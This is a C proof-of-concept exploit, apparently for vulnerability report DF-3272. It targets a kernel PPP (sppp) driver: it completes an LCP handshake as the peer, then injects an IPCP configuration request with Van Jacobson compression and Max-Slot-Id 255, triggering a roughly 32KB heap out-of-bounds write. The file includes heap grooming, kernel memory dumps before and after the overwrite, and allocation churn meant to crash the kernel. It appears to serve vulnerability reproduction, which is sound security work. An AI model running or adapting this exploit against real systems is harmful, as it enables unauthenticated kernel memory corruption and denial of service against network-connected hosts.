DF-3272 / poc_3272.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 | /* * DF-3272 PoC: unauthenticated peer heap out-of-bounds write via IPCP * Van-Jacobson "Max-Slot-Id" byte. * * Full LCP handshake as the peer (no auth configured by default), then one * IPCP CONF-REQ whose IPCP_OPT_COMPRESSION option says: VJ (0x002d), * Max-Slot-Id = 0xff. sppp_ipcp_RCR pass 2 (if_spppsubr.c:2976) calls * sl_compress_init(sp->pp_comp, 0xff) * whose loop writes tstate[255..1] although tstate is cstate[16] -- * a ~32KB heap OOB write past the sizeof(struct slcompress) (~4.6KB) * allocation. * * The overflow smashes neighbouring slab-zone objects; on the INVARIANTS * kernel the next allocator touch of the corrupted zone panics * ("slaballoc: corrupted zone" / KKASSERT). */ #include <stdio.h> #include <stdlib.h> #include <fcntl.h> #include <unistd.h> #include <string.h> #include <errno.h> #include <sys/ioctl.h> #include <sys/types.h> #include <sys/socket.h> static int fd; struct sppinj_mem { uint64_t addr; uint32_t len; uint32_t pad; uint8_t data[4096]; }; #define SPPINJ_GETMEM _IOWR('j', 1, struct sppinj_mem) #define SPPINJ_SPRAY _IO('j', 2) #define SPPINJ_FREE _IO('j', 3) #define SPPINJ_GETCOMP _IOR('j', 4, uint64_t) static uint64_t comp_addr = 0; /* dump kernel memory after the smash to show what was written where */ static void show_mem(uint64_t addr, uint32_t len, const char *tag) { struct sppinj_mem m; uint32_t i; int step = 16; if (ioctl(fd, SPPINJ_GETCOMP, &comp_addr) == 0 && comp_addr == 0) comp_addr = 1; /* prevent refetch */ if (len > sizeof(m.data)) len = sizeof(m.data); m.addr = addr; m.len = len; m.pad = 0; if (ioctl(fd, SPPINJ_GETMEM, &m) < 0) { printf("[!] GETMEM failed: %s\n", strerror(errno)); return; } printf("---- %s @0x%llx ----\n", tag, (unsigned long long)addr); for (i = 0; i < len; i += step) { int j; printf("%06llx: ", (unsigned long long)(addr + i)); for (j = 0; j < step && i + j < len; j++) printf("%02x ", m.data[i + j]); printf("\n"); } } static int inject(const unsigned char *f, int n) { int r = write(fd, f, n); if (r != n) { perror("write"); exit(1); } return r; } /* read one TX frame from the fake wire (nonblocking poll) */ static int rx(unsigned char *buf, int max) { int n, tries; for (tries = 0; tries < 300; tries++) { /* ~3s */ n = read(fd, buf, max); if (n >= 0) return n; usleep(10000); } return -1; } int main(int argc, char **argv) { unsigned char buf[2048]; unsigned char magic_opt[] = { 0x01, 0x02, 0x00, 0x00, 0x00, 0x00 }; int n, i, ident = -1, do_groom = 0; if (argc > 1 && strcmp(argv[1], "groom") == 0) do_groom = 1; setbuf(stdout, NULL); fd = open("/dev/spppinj0", O_RDWR | O_NONBLOCK); if (fd < 0) { perror("open"); exit(1); } if (ioctl(fd, SPPINJ_GETCOMP, &comp_addr) == 0) printf("[*] sp->pp_comp = 0x%llx\n", (unsigned long long)comp_addr); if (do_groom) { /* spray the slcompress size class before triggering */ if (ioctl(fd, SPPINJ_SPRAY) == 0) printf("[*] groom spray done\n"); } /* bring the interface up: kernel LCP sends CONF-REQ via our read() */ if (system("ifconfig spp0 up 2>/dev/null") != 0) { printf("[!] ifconfig spp0 up failed\n"); } /* drain TX until we see LCP CONF-REQ; take its ident */ for (i = 0; i < 16; i++) { n = rx(buf, sizeof(buf)); if (n < 6) continue; if (buf[2] == 0xc0 && buf[3] == 0x21 && buf[4] == 0x01) { ident = buf[5]; printf("[*] saw kernel LCP CONF-REQ id=%d len=%d\n", ident, (buf[6] << 8) | buf[7]); break; } } if (ident < 0) { printf("[!] no CONF-REQ seen\n"); exit(1); } /* 1. CONF-ACK the kernel's request (len=4: header only) */ { unsigned char f[8] = { 0xff, 0x03, 0xc0, 0x21, 0x02, 0x00, 0x00, 0x04 }; f[5] = ident; inject(f, sizeof(f)); } /* 2. our own CONF-REQ: only a magic option -> agreeable */ { unsigned char f[14] = { 0xff, 0x03, 0xc0, 0x21, 0x01, 0x07, 0x00, 0x0a, 0x05, 0x06, 0xde, 0xad, 0xbe, 0xef }; inject(f, sizeof(f)); } /* kernel should now be LCP OPENED -> PHASE_NETWORK; drain its CONF-ACK */ n = rx(buf, sizeof(buf)); if (n > 6 && buf[2] == 0xc0 && buf[3] == 0x21) printf("[*] LCP negotiated (kernel replied %d bytes, type=0x%x)\n", n, buf[4]); else printf("[*] LCP reply: %d bytes\n", n); /* snapshot the victim region BEFORE the smash (should be mostly zeros) */ if (comp_addr) { /* rstate[] begins at comp+0x30+16*144 = comp+2352; show comp+4600..4860 * (tail of allocation) and comp+4700.. (just past the end) */ show_mem(comp_addr + 4600, 128, "BEFORE: tail of slcompress alloc"); } /* 3. the weapon: IPCP CONF-REQ with VJ compression, Max-Slot-Id = 255 */ { unsigned char f[14] = { 0xff, 0x03, 0x80, 0x21, 0x01, 0x09, 0x00, 0x0a, 0x02, 0x06, 0x00, 0x2d, 0xff, 0x01 }; printf("[*] injecting IPCP CONF-REQ: VJ compression, " "Max-Slot-Id=255 -> sl_compress_init(comp, 255)\n"); inject(f, sizeof(f)); } /* if the kernel is still alive, show the smashed region */ if (comp_addr) { show_mem(comp_addr + 4600, 256, "AFTER: tail of slcompress + OOB"); } /* churn the corrupted zone: IPCP reply arrives, then alloc/free storm */ for (i = 0; i < 8; i++) { n = rx(buf, sizeof(buf)); if (n > 0) printf("[*] kernel TX frame %d: %d bytes, proto 0x%02x%02x " "type 0x%02x\n", i, n, buf[2], buf[3], n > 4 ? buf[4] : 0); } for (i = 0; i < 2048; i++) { /* kernel-side allocation churn to touch the smashed zone */ int s = socket(2, 1, 6); if (s >= 0) close(s); } sleep(2); printf("[!] kernel survived -- NOT reproduced\n"); return 1; } |